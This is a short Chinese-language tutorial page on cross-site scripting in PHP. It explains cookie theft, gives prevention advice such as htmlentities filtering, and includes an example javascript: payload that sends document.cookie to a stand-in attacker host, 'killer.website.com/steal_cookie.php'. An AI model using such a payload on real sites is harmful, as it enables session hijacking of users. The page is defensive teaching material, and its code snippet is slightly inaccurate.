跨站脚本攻击(XSS)

问题

跨站脚本攻击(XSS)是指通过脚本将敏感信息(如 cookies 或其他会话标识符)发送到其他网站。

通常,这些攻击会影响那些内容可以被编辑或添加的网站。在大多数情况下,会话标识符甚至用户名/密码会存储在 cookies 中。如果有人知道会话标识符,他们就可以轻松地在他们的机器上使用该标识符,执行一些恶意操作,这是你绝不希望发生的事情。

例如,如果你当前在 Wikibooks 或其他任何网站上登录,进入该页面并在地址栏中输入以下内容:

javascript:void(alert(document.cookie))

这些是每次发送到网站上用于识别你的 cookies。如果你的网站没有防止 XSS 攻击,黑客可能会像这样写:

javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))

这将把 cookie 信息发送到他们的网站。

预防措施

要防止 XSS 攻击,唯一有效的做法就是移除任何恶意的 HTML/JavaScript 代码,这些代码会被提交到其他网站。

至今,最常见的方法是使用 htmlentitieshtmlspecialchars 来过滤代码,这样可以避免用户添加任何 HTML 代码到你的站点(例如博客评论):

$message = htmlentities($message);

另一种方法是创建一种“受保护模式”代码,比如 MediaWiki、BBCode 或其他已经被发明出来用于方便地对用户内容进行样式/格式化的工具。

最后修改: 2025年01月10日 星期五 02:44